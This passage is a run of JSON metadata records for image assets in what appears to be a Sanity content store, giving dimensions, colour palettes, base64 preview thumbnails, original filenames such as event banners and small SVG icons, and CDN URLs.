xzSKXbpDQ75HK96Ri59yn77hNeDKf+cTvn3x1fM2meom+dY1pwdVH+HhN4jYfSJGyOSkTFbkQnJ8BQ9dISonCDIx8jBfTZDLUrmDsN6lWGjwfGwy9v5hN2nM8z0Cyyrzh6Kv4+hD4mEx4TDU6LRObp+SDB4iBI4QpAWiMoButFEC0RQJYmkppKORcmZJqVMlnK+QqPew2J1dHGIzxB9Q0Rlgks5wCkfsi4dYfcuWPMsWHHPEaQxvo0WottEdm9SDOs0UzHKW3FS8ThpM0W9UsNis7fxuToE/HvI2iGCPMXm2sfmOmTF/SVbYHPNsLkmrLiGrDo7aIEq3VyGeS1Fv/CIfDKGmUyyUyh9CZ8iuTr4N0bI2gzBd/AQzh7CI5adB1iF71la32PVNSCkP+FxoUivnKaxncCMGCSjUUq5HJZv1tosrXWwOnaxCgOWhT2WnRNs4kMozr/aKoxYWn+O3f2MaOw7KsUSpWyarViUeNjATMQpZjP8DxBkgGG1kKUYAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a2859","foreground":"#fff","population":0.49,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04237d","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c1a6a0","foreground":"#000","population":8.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1a6a0","foreground":"#000","population":8.56,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee8a97","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8099b8","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc1d33","foreground":"#fff","population":2.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"workshop-kafka-python-sebastien-15Nov23(1290x1080).png","path":"images/sczeoy4w/production/be92145845d99cde36f3c197c6f183acd88ac57c-6000x3375.png","sha1hash":"be92145845d99cde36f3c197c6f183acd88ac57c","size":7925646,"uploadId":"cKKDQAoUcD9aLqwS851RF9NgfkgP109k","url":"https://cdn.sanity.io/images/sczeoy4w/production/be92145845d99cde36f3c197c6f183acd88ac57c-6000x3375.png"} {"_createdAt":"2023-10-30T07:03:55Z","_id":"image-25b361ac65ef9fb6c63e1675032823c110021d51-1200x628-png","_rev":"Hl0n8vwXwRlkg63bgx8Y35","_type":"sanity.imageAsset","_updatedAt":"2023-10-30T07:03:55Z","assetId":"25b361ac65ef9fb6c63e1675032823c110021d51","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M47w{:IlVnVp0S~oN%objoE79c$^M{Rp%F","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACj0lEQVQokU2SW1MSAQCF9w900wCBXS7LZVlQYSkFUVM0MwFDLqlpWYqlGWooQoIu4A0zy7GXfu7XRD30dB7OzDdnzjlCl3kel38NLbrNwOgeg08qRMdqxCZ0huJNouOnxCbbDIxdoGgtJKWBI9BEG6oTnyoxHC+iaHuI3kPM7hqCQVwkOPiJyUSN6Vmd5+kTUrk2s/lvJLPXJLM3JLK3jExd4Qk2sft1Ho/WWV4uUd/ZYb+4RWruI2r4AKv3CMEovUKLFplKHZGYazGbPyez+I30/DUv8t+ZW/hJMndLZLyNM6Aj99WYnN2hvLvOL73Ijb7J5sZbRuIl7P4TBKPtD3Cbp8k6M+kmicwZicwFM+k2M3NXJDI/ePbiB4NjFx2gI1AhOrnC2zd5Wrsb6KU1Cu8WGZ8qIfd/RXgoLhIIbxKLlxmeqHQ6DEXKBCPVTk9arIEWaxEYaGJXj5F8h/hC68QnXlJY2WKjUCSZekcocoCj9wrhnuklZudrHMoqDl8B0b2Oyb6O0b5Bj/MTZvkzFvc+Fk8Fi6eG6D3G6f9C8PE204kDUuk64WgZh7+GpJ4h3DHkuG/M02VeoNu6RJd1hW5xFaP9w1+g6zPm/4CSr4EneE5/pM2j4TPCw6f4tCaOgN7xhAfGLKIlh1NewuZdxSyvIXk3UbV9tGidUKxB71AL/+AJzl4dm6+BEr4kOPSd/sglavgEV5+OXT1CVI4QuowZZDGLqrzBHXiP5HmPU90iFK3+/eHEOeH4BcGRc1x9DUTlzzCnyH1n/1IdYvFUMburWLzHCHcNWbpNOQzWBQzSMg/FFQy2AhbXR2zKLnZfGZtaRVIPEb11rF4dUWl1tMdVxSSXMcn79LgqWJUGvwHgq3BprGzpzAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#454975","foreground":"#fff","population":2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":11.54,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":11.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bebacd","foreground":"#000","population":8.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7982c3","foreground":"#fff","population":0.72,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8596bd","foreground":"#fff","population":0.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2584","foreground":"#fff","population":7.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Quote case social media image template with photo _ Dark blue (3).png","path":"images/sczeoy4w/production/25b361ac65ef9fb6c63e1675032823c110021d51-1200x628.png","sha1hash":"25b361ac65ef9fb6c63e1675032823c110021d51","size":317222,"uploadId":"cZ8HWWZoJW3nvJNvguhElX2IwkOhgydi","url":"https://cdn.sanity.io/images/sczeoy4w/production/25b361ac65ef9fb6c63e1675032823c110021d51-1200x628.png"} {"_createdAt":"2023-12-15T10:40:22Z","_id":"image-19b77ccd31d5d9379af2c8862536722f6959d13c-2162x1432-png","_rev":"7oPGYyiRG7hm5kP9hXsvee","_type":"sanity.imageAsset","_updatedAt":"2023-12-15T10:40:22Z","assetId":"19b77ccd31d5d9379af2c8862536722f6959d13c","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5097765363128492,"height":1432,"width":2162},"exif":{"PixelXDimension":2162,"PixelYDimension":1432,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABYlAAAWJQFJUiTwAAADiklEQVQ4jQXB6TOjBwDA4VfbMdtV41jbYdq9RBKNIiQIcTUhRCRBRAiSSDYpccVRBGtlKercUvc4R0XVFt3ard0PbT/0Qzv9n359HkHQ3CAo9hGSR4hObkWl9eN0T9DTO4PLN0mT5zlDwXmcHZN0BULMjIzgqDOjzi9CVainyuSixdGNorieOFExglDxng9UJ8SljyPNbESnc+D1juJpn0ZvG6PAOEilfQylsZ8CUw9+pxevSU+uPIeHklwk2XrSC208yDQQKypFEIx/8XHpOSrdFA5jC3aDBaPRh0Ib4LOcTuIyvSQofETJPSTmunHbvCx4nDSX1yD7Uktiajn3ZNXESvXEpGgRhLq/iam4osW1xu7wKAv+ADZTD0/k7USJPUSmuIgQORBSnMRkuLAa3cy4XPRbHNRXupAXtpCQYSFaWk20pBJBsP1DlP4Gq3OP04lZwqPP6W8NoirsIlvlR6xoJyrVw4epHuKzvJR+ZcdZrqPLWEOoM4jPP0NamZ/otFruSgwIQvN/fKR/i7J6g5BniFWvj44aB+byVjrqO7FWdZNX4qekKoDZNoyvLUDQ7WKpt5vztV0Odi5xdC/zSO3hTqoZIaL1XyLLjnmc241dV8s35ios6kIatVpCrU685q9xWgOsBicJL8wT/n6Ni81tXu8dcht+xZuL98wu/4K6IcTdjEaEO7ZfuafqQSTJo0yZRYsmn8ocOTZNMYN2Bw3mdpqbR3j5bJ7LtXVuT864OL5md+Ocw81TTg9fM7nyDs3THWJzfQjxmhEeyYpIFz0hL1VMaaYMTXYGlvIKfM1+GmwD1DWO09e7wM7iNjc//szJ/jVz34VZXjhha/s3euf/pMAXJl4dQHjwRQESkRilRIQ6TYpWnkatOof2egvD/iHcLQM0NfTxbGCa3bklztY3uTr+ifD+FTsbVyz98A7v9B+o3EckFPQgFCqyUKTJUKXLsBblMmDWErIbWexqY2Gwn/42P31t3SwOjbM4PM76i2/5/fiA27NLllde4R65wNBxhLJmgqQcB0KTQYdKqUAmlVKrVjJhrWDKbqK3wUSzqQprlYGBtqesjk2wGprlYOklb/Y3Od/cwh9YIdv8AnFJJw+zLMSI9QiaonwkUgkx9+/zeVIiapmYCoWcvMwMkpOTEaWk0GgysjUV4npvj7dHB1xurjAXDKIzekjKtPDJ43IiE9VEfFrM//wlGgBJfigJAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f2e2d","foreground":"#fff","population":6.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04215a","foreground":"#fff","population":5.67,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0a55c4","foreground":"#fff","population":6.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2a9a7","foreground":"#000","population":5.37,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2bca5","foreground":"#000","population":3.22,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a86c6a","foreground":"#fff","population":1.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a55c4","foreground":"#fff","population":6.28,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Screenshot 2023-12-15 at 11.40.06.png","path":"images/sczeoy4w/production/19b77ccd31d5d9379af2c8862536722f6959d13c-2162x1432.png","sha1hash":"19b77ccd31d5d9379af2c8862536722f6959d13c","size":6384292,"uploadId":"tHW0uScT21EOy3uQOkbryaamuvgp2d4s","url":"https://cdn.sanity.io/images/sczeoy4w/production/19b77ccd31d5d9379af2c8862536722f6959d13c-2162x1432.png"} {"_createdAt":"2024-09-17T15:12:01Z","_id":"image-844efd30eb9dc3a1dccf0ff9c6dfbc9170530378-24x24-svg","_rev":"16CRymk0UGIBxNLlKSxjGj","_type":"sanity.imageAsset","_updatedAt":"2024-09-17T15:12:01Z","assetId":"844efd30eb9dc3a1dccf0ff9c6dfbc9170530378","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e4T2=O;iAr=b|]=bf7Wpfjo1}CX6w_WD1x]lf%j@fQNv1xW:E~Wp=I","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACy0lEQVQ4jXVVS2+MYRR+KumiO52mxUKIxRAhEYkuCEmtZlpintegLiMWLgnW0p1L02pIRUKESDCJJYIQt8TgR7Bhi1/xPnLOe2Y6IhZPvu875z3Pe+4fNA0oYUhEVUQtE4dFtJTQiudxsQ+pT1fO1tRAVQ0MaR+CLGGHiFkRz0R8yERHCZ/EgpzQMfRk5dmxsyo2V9TAdiNFeDYbRG0RcyIu95D8+3pgTsllXf1c2Lx3UqJqhDW/JaGthAkljCmhImJUxAYRUyJOB/aI2ChiTETFzxITQWqe1oxwOly321eIgA5iICesEXFSxIM4bHgk4oyItWr6GYhuM58Lx7QJjon4GCGMaL/ndaUSTol4JeJFX8gvRbwWXeeX54SRsP2YiWNG2PIiFOGwEWZiXMRDEc/jwnWBoyEzr8fdw4Rhsw2Olgla2apWkr1chzwMy9UbETedqAm454X0Zi66KR1wwuVhaxwt9zDaoxCaMTEZod3KCevVADSJgVyKdDt09WxnzaZE96nnYbCb2+a+ybYq4Z6SG54VscWQifNBdsdlfSEvedhH6K1QCEeVPHdPRbwVcT9g70+iM0ackG5TPPwnZKLiiW5imRJWiWiKuCHicWAxE/ujwgNxeeW/IbsyYTCXpl4tYrPnijihAhuCTaEbVQOD0eCXo7A9Dzsxfpb03SIuhGdWgLvdkHN5N9linNkdNrNLbROEuST6nIh2Lk36znKWLW8pwB7exTC0w8Zse4SHI/7PNhm5TMaMEuo5YZcSdmZipwzJYbK6EmZiil6Fbac7erVohd8ivom4JmJbVHo42qKg+11043H2q4hfQezLwdaXragfIn7GaM2LuCjikiMFut9Fd9XO5mLzPTiq8E3b8AW7EPn58tci7Vu03e+8tGS/hM1CJnZkW7DZxspIS7XqIo5km+/4Ddh7d+37eyli9zdwJGw2OMde4A+UDbKcn9NDHwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#64442c","foreground":"#fff","population":0.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8a0a04","foreground":"#fff","population":2.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7540d","foreground":"#fff","population":5.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#912407","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f45c34","foreground":"#fff","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#943004","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7540d","foreground":"#fff","population":5.03,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"user-square (1).svg","path":"images/sczeoy4w/production/844efd30eb9dc3a1dccf0ff9c6dfbc9170530378-24x24.svg","sha1hash":"844efd30eb9dc3a1dccf0ff9c6dfbc9170530378","size":1176,"uploadId":"ok7OZs4JtyvTqMqgHLUe4caGvkLmK5X9","url":"https://cdn.sanity.io/images/sczeoy4w/production/844efd30eb9dc3a1dccf0ff9c6dfbc9170530378-24x24.svg"} {"_createdAt":"2024-09-17T15:12:39Z","_id":"image-248c6be81a60499ba8b9775c91fc44033ebee594-24x24-svg","_rev":"16CRymk0UGIBxNLlKSxqDf","_type":"sanity.imageAsset","_updatedAt":"2024-09-17T15:12:39Z","assetId":"248c6be81a60499ba8b9775c91fc44033ebee594","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHPdk5E$1LsU1e=I1e}CWW]+1e1esnS3651eNvAYw_xEAYja]+$OWp","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADH0lEQVQ4jXWU24vXVRTFP85UTjA4GBNGEgRJ94dUpqgMoRrL0ua3jg7WWFRWPnW/gRQRUUGlEUgZ9NCFisqKCCsN5qHLQ1cJQioq6i85K/Y5+zeNYV/YnC/n7L3POmvvteF/Pl8LnoF6FXgAFlS1dclwtVjqwnIXlnmW0borAq8G3wJeDzUCB5kokzQr4OvyLFZxosV5VcxV8ZALN7uwKi7Bs+AdGbgFfH0PDBQNSYG6sf0vtVhucbrFBotnLA5ZHLb4zGKbxRje/B8kkXSuoRy1WFbFaRYXWGyyuMtij8UBix8t3rd4w+ILi8csTu2JboUazx9wQhUrqjjf4kqLHRZPWrxm8ZHFp4nqB4ufLJ6w2G7xpsUrFlONL8+wxAMmLC61uM9iXxUfZoJA854Le13a2dYqHrQ46MIeFza4sNuFj12YDVRB8Koqbkj432SSfRaPWMy5cInFmRYrLVZYXGPxiQsHXLjD4gWLr1zYFU8+x+LhuLGKv5Pke6OKwYnFKZno3CzGTou9tfsdSSrmLb6shUcj4RUW+y1+sfgjEd5psdpincVNFo9bvNpQifkqDtVekLcaHeLt5lO4PBJelM6/uiP8q/EjXs8EccF3Fr9Z/J4F2l7FuioutLjM4mKLM1wYJ5+0M286mPDn8/9niz8t3rF41+LbRs+ASa9tXTHSChqF3dRbLzaPy2ZdH61SxWaL2Sq2VPG8xfdJyf4qvm50DBhvSoq+HaorldWlVBixON6DZmNZ+UB+TzbwkbTDVdxtcVJD1fV8lDC6zALu7lTJdFtHq1hj8WKq4OWw2v9jb017WQyQRTrvU2UWamyG9SYn2+R+i88tnrNYm/Zs7j1Qxcp4dt22CN3CqBrquEMft5DFB9kW040GNZvOvVBRab7lXy6PTqiFAk1ZvJSyCxVMtrOYSoXJKm7Ps/CZipg2lY6ZUJychYiWedoDzvZMK9hwvI1UcZbFU7X7hG/E9AoPv5zAsQZ3IbuYddFGY964iI4+6uLpcRY+4RsxLcexEI7XPvtWuzDh26BGBWPo3pgFi2FcmKhdmuEbnC8g/AcCAWQD/pxgNQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#704850","foreground":"#fff","population":0.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#781504","foreground":"#fff","population":4.34,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f2540e","foreground":"#fff","population":6.77,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#913307","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f46c2c","foreground":"#fff","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b1644c","foreground":"#fff","population":0.52,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2540e","foreground":"#fff","population":6.77,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"telescope (2).svg","path":"images/sczeoy4w/production/248c6be81a60499ba8b9775c91fc44033ebee594-24x24.svg","sha1hash":"248c6be81a60499ba8b9775c91fc44033ebee594","size":2074,"uploadId":"th1dHge8x08UGQs2rfRqJvjpmNEUroGx","url":"https://cdn.sanity.io/images/sczeoy4w/production/248c6be81a60499ba8b9775c91fc44033ebee594-24x24.svg"} {"_createdAt":"2024-09-17T15:13:25Z","_id":"image-737bd7e4e936b7e85603baaa175c1c2771e9de0c-24x24-svg","_rev":"etbaRJcyRvzwy2RfQMujbL","_type":"sanity.imageAsset","_updatedAt":"2024-09-17T15:13:25Z","assetId":"737bd7e4e936b7e85603baaa175c1c2771e9de0c","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e7QgQx1L1L1e1ef7fjfQfQfQ0l1e1e1eAYfjf7fQfQfQ0+=I]+|]]S","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACLklEQVQ4jbVVy2oUURA9mUgSRWHGRMFFNioIKgiKohBBl0JI+tyZCT4YBHUjLtSdoIgx+AOCLhRUXAiuXCSCz2T8Cf/Bn6ijVX3HnnHXDC6Kul19b3XVOedWAwDEUTP3RbbBcxraM7xeBtSp1lB7aIP7BcASGiJ2iGiKaIWl7EfXTRG7VGAqEl/3hIuAzuRKPGHCNiUcELEi4p6IRyJWlbAavlp7/IERN0WcU4E9WsIEbAmwArBuJGsoYb8l3BWxLuKHiC0j+kroyz3Rt4R+xIhNI76JeC0iecUVPivh9yrhhogNEe9E3BLRtoS2iE5YCmvnBBdz1Z9EPBNxvMSuF8l2ilg04r2ID7nl3SKmlDAtBhQNIyYjRkxbindHPJkRG0YslyyVG07lr3wWcVvEPhHbjTgWGBHzKoKsphGnRSwEKQmzIh6L+C7iMqyDCREHjXgo4quIJyIOqxtxZ9IheCPijoiTIroiXohY83NK0YW3vSWi5636oasZt5dGnFXCTK7cpXNBxFsrcXqV4XDCnN25OF+y7iT1/JBj8NSILyKuRUtXsi5LYc/mD/qBXyJ+5hYP2fkQfStLyZXwPxKm8Vq2f1sei5QUpLRGSRlTNlbKZs0GsqkrbBGTVsZmciFHcyEf5cIe4+q5XRq6es9FnKg9HHww5LVjtqk8HMzvdoFW/fHlvhpf9zPbjvFcjK/aA7aUyd8Baz5gHUsnt/D5X/cXUHZRCX/wC/DYn4S/AXOPdnbvxg7bAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#442c24","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7d1c05","foreground":"#fff","population":0.87,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f44914","foreground":"#fff","population":3.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#921b06","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f65134","foreground":"#fff","population":0.52,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b65e5e","foreground":"#fff","population":0.69,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f44914","foreground":"#fff","population":3.3,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"delete (1).svg","path":"images/sczeoy4w/production/737bd7e4e936b7e85603baaa175c1c2771e9de0c-24x24.svg","sha1hash":"737bd7e4e936b7e85603baaa175c1c2771e9de0c","size":864,"uploadId":"XINhrMfF2wfllY2EUp1WJlqLNl3qz4q0","url":"https://cdn.sanity.io/images/sczeoy4w/production/737bd7e4e936b7e85603baaa175c1c2771e9de0c-24x24.svg"} {"_createdAt":"2024-04-12T12:47:15Z","_id":"image-f234e29c8f43de26ba4200326d04487d53b184fd-1200x630-png","_rev":"FKB2VSfLo1od9Oar6NURlw","_type":"sanity.imageAsset","_updatedAt":"2024-04-12T12:47:15Z","assetId":"f234e29c8f43de26ba4200326d04487d53b184fd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCS-MD_kTJPB@st,$eV[Sh#l*xK*i_#RK*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACcklEQVQokVXTTUjTcRzH8d/m3JNDFuI0ESOVJqWFCmV1kA7RKYLKx9Tc09+pmy7NOedqzqeSqEAoMpLoWNEhgogs6NqhoE51FnogEDtYh7XvO/5uoR2+/G4vPnw/35/itGJzzhqg1QDtBuhUcE5Bj4JehXgVBBTSp6BfQUghQ4pMRJEZUTCmIKqQqELRYoLuHeDfCVoZaC7wFYLXDgE7aFbosyCDdmSoAMJm0sNWvoYK+ehz8Fmzsh7JIxNVMK6D7TYI18DkUZhsglgDXKyBMTdM1sGEG4lVIlO1SGofktjFWqqRN7ETPAg086T/MB9G97ARc+TANitEaiF5DJLNMHkQRt0wWp0F4zVIrApJ7kWSbv7MN7K6PMSzG1M8uhxh5foE7xaDrF+pg5hRBy0Q2gOxQ5A4AtH9oBWBxwJ+G2g2JGhFBm1IyEJ65gCrj6/yYmmRlwsJPj1c4svzO2zcPo5MmFC0msFbCgO7IVwNgxXgcUDX/6WIXoqmyMQr+HY/zOtbc7y6Fmf16V1+rdwkvdiEjOsJW/LhfNFWKQPl2YReG/gsEDAjfmMW1FuO2Pk53cD76VO8neng+3KQ9L2TZFLF2ZalxYR0OxGvC/G7EK0E8TsRvwPR9LEhgbwtMGQiHS1mLeHmR6qe3wv1yFwFErf8O5tcQl8p+Iqh1wHd+dBjAo8JvHng23aH4XxkwoWkKpHZamS+CmbLIGFH9Jal1Yx4ShCtPJuwx450GpAuhfQoRN+hL7fDPoUMGpGRAog5Ie6EhBO5VIjEzTnwjBFpsyAdVqRTf/OQTrUFeraBQYUMKET/KcMKuaCQUYWMqU1MB/8C0w0mUFl4EXYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#513129","foreground":"#fff","population":1.45,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#812904","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c04","foreground":"#fff","population":14.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aec0cc","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fabe7c","foreground":"#000","population":1,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#986150","foreground":"#fff","population":1.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c04","foreground":"#fff","population":14.68,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"General event promo template with more info and speaker Orange (1).png","path":"images/sczeoy4w/production/f234e29c8f43de26ba4200326d04487d53b184fd-1200x630.png","sha1hash":"f234e29c8f43de26ba4200326d04487d53b184fd","size":176001,"uploadId":"PnHNzbitolANDBLWglGmti3qhFpHfVNN","url":"https://cdn.sanity.io/images/sczeoy4w/production/f234e29c8f43de26ba4200326d04487d53b184fd-1200x630.png"} {"_createdAt":"2023-11-14T22:09:59Z","_id":"image-4713ef230fcde8457d7a0eb08f41a5bb61c825d7-2500x1308-png","_rev":"6DRE6Zb4jyu9iXgb2KH12x","_type":"sanity.imageAsset","_updatedAt":"2023-11-14T22:09:59Z","assetId":"4713ef230fcde8457d7a0eb08f41a5bb61c825d7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M47^+c],4T~9w=TKb|t0IqIs0gK0pJE1Rk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAABcRAAAXEQHKJvM/AAACLklEQVQokTWPf0+iAACG+QRpgYDyGwQEUUQa3Wp3lhxakNM0zW7+yk5TIbU0zct01dXWdh/6Vrf75/nj3Z69ewA/egqT1RBTC7FNhG5BRBskOhDZh2kPplyI6IB4ewtrbuGtLbzlR6sbcHEDLn2yCIBYmZFait5Xtj1J8/jYNaeMwrFbQZ0J8WlYuQ4rbljp/9tRuulHT31IyYd8+ECAOFONgeX8OsytLGf93X5K2y+m82Ydv6ftt2/Wcj/7YNrLTO7ZdF5VY8hEWrTQRKhzH1ICILwS1Xup7L1pP5r22jp+yeRes/n3w8Kf9NHv3YP7lDU37YVpr9JHT8bXScIYxLf7pNDwoyUACpYksbqXrO/q7bg2kLSxpE1kfS7ri0hiqhnD1MHI2BtFkyNJG3HyT5KvY2wNws8+nkOhfFayXGO/kbRUvoLQbZi+QlkXYYekODrMzr3LdS63VHfu5eSUEtswWQWxih/9bEaD+RSfqasHxWhGossQ3gKJDkz1A5SH855jzya950JhFTMWojqhhEuEOofw//ImckJjBYkpCew5TjcwrkuKXojzApSLcb2j7HjcXefzD3HjTtanvNILMrXNYMWHlH1IGQCRYpgoymJdiF0x0pWs3+h7C065hSk3xHbN9KDbuHOcWeLLnba7jG7PCaEPERcg3oaIDgAiJyxRlMSaoHSoSFdMDNWdGSOPYcoNkJes8ENN1AT5gop4vPrIxlaYMEXZG5SbYsLyL924k7hXMq4UAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e2f5e","foreground":"#fff","population":0.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141d68","foreground":"#fff","population":22.66,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141d68","foreground":"#fff","population":22.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0a8d0","foreground":"#000","population":1.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4a46c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a6547c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f05214","foreground":"#fff","population":0.93,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"TechStrong_social_media_1200x628_01.png","path":"images/sczeoy4w/production/4713ef230fcde8457d7a0eb08f41a5bb61c825d7-2500x1308.png","sha1hash":"4713ef230fcde8457d7a0eb08f41a5bb61c825d7","size":368769,"uploadId":"nf6R3Ahvo5qiXvk7iiC0Dm8vFzR7gfMu","url":"https://cdn.sanity.io/images/sczeoy4w/production/4713ef230fcde8457d7a0eb08f41a5bb61c825d7-2500x1308.png"} 